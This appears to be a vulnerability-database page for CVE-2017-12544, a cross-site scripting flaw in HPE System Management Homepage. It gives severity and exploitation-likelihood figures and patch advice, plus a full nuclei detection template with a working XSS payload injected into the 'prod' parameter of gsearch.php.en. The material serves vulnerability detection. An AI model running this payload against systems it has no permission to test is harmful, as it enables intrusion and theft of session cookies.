HexBrain

Browse / CVEs / CVE-2017-12544

CVE-2017-12544· hp / system management homepage· CWE-79

HPE System Management - Cross-Site Scripting

mediumseverity
5.4CVSS score
4.5%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

HPE System Management contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.

Fix

Apply the latest security patches or updates provided by HPE to fix the XSS vulnerability in the System Management software.

How to confirm it

Send: GET {{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//
Positive when: contains "var prodName = '';prompt`document.domain`;//';" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-12544 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-12544

info:
  name: HPE System Management - Cross-Site Scripting
  author: divya_mudgal
  severity: medium
  description: HPE System Management contains a cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser.
  remediation: |
    Apply the latest security patches or updates provided by HPE to fix the XSS vulnerability in the System Management software.
  reference:
    - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbmu03753en_us
    - http://web.archive.org/web/20211206092413/https://securitytracker.com/id/1039437
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12544
    - http://www.securitytracker.com/id/1039437
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-12544
    cwe-id: CWE-79
    epss-score: 0.04515
    epss-percentile: 0.916
    cpe: cpe:2.3:a:hp:system_management_homepage:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: system_management_homepage
  tags: cve,cve2017,xss,hp,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/gsearch.php.en?prod=';prompt`document.domain`;//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var prodName = '';prompt`document.domain`;//';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from